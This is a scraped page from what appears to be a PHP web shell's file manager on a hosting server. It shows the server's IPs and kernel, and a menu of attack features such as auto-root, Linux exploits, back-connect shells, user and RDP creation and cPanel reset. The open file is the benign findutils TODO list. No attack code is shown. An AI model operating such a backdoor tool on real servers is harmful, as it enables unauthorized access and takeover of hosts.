Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.146.37.222
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
findutils-4.5.11 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
1.3
KB
-rw-r--r--
COPYING
34.25
KB
-rw-r--r--
ChangeLog
401.42
KB
-rw-r--r--
NEWS
66.74
KB
-rw-r--r--
README
3.1
KB
-rw-r--r--
THANKS
1.38
KB
-rw-r--r--
TODO
3.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TODO
-*-outline-*- * -fstype core dumps on sparc-sun-sunos4.1.3_U1 with gcc-2.95.2 This is on foxtrot.rahul.net. dbx does not work on compiled find. Perhaps gcc is installed incorrectly. "find / -fstype ufs" core dumps quickly. cc works correctly. * Speed of locate without "-i" option needs to be increased. * Internationalization ** updatedb.sh should be internationalized * Eliminate unnecessary strcpy calls in xargs. * man pages for frcode, bigram, and code Perhaps a better description in texi pages as well. * Add option for find to sort output in lexical order for use for updatedb olarsac@airfrance.fr (Olivier) made the following suggestion: As I was running thru the code looking for the bug I wondered why the updatedb has to use sort... why not add an option to find that sorts the output in lexical order? my point is: - sort on a big list is costly (here we do locate on big big file system) - find may (in theory) sort incrementally very easily by sorting only the current directory entries before recursion * large file problems depcomp gets added by automake * investigate _LIBC when used with TOLOWER and TOUPPER _LIBC is used to determine whether TOLOWER should check isupper first. Is there something better to check? Alternatively, can tolower be checked at run time to determine whether isupper should be called first. * BeOS problems with multibyte Bruno Haible reported problems with BeOS. * Include example of use of updatedb in documentation. Use something close to the Debian daily cron job. * Supply example for time range commands for find. * Test Coverage improvements pred_closeparen pred_openparen find -delete dir find foo -empty where foo is an unreadable directory find -printf %i find -printf %l find -printf %M find -printf %u %U find -nogroup find -nouser find -links +400 on a file. find -perm : savannah bug 14748 The close_stdin=1 case of prep_child_for_exec find -printf with no argument find -regextype with no argument find -size with no argument find -size 1e6 (invalid) find -warn find -xdev find -type c locate or locate and locate visit_justprint_unquoted locate on slocate format db locate: the "procdata->count += procdata->c - 256" case locate -b locate -P -e locate -P -E locate -S locate with limit locate with count only, no printing locate with $LOCATE_PATH loate -0 locate -w locate with regextype locate -L locate -H locate -P locate -l locate -d - locate with a database it cannot open xargs escape processing xargs -i -n1 xargs -a xargs EOF string on first line xargs blank line (state = SPACE) xargs parse_num on non-number xargs parse_num on a number with trailing junk Locale-dependent coverage: locate: visit_substring_match_nocasefold_narrow --//-- This is used by Emacs' spell checker ispell.el: LocalWords: strftime xargs updatedb sh strcpy LocalWords: lib frcode bigram texi depcomp automake LocalWords: LIBOBJS FUNC findutils LocalWords: LIBC TOLOWER TOUPPER tolower isupper LocalWords: Debian cron LocalWords: Haible BeOS
Close
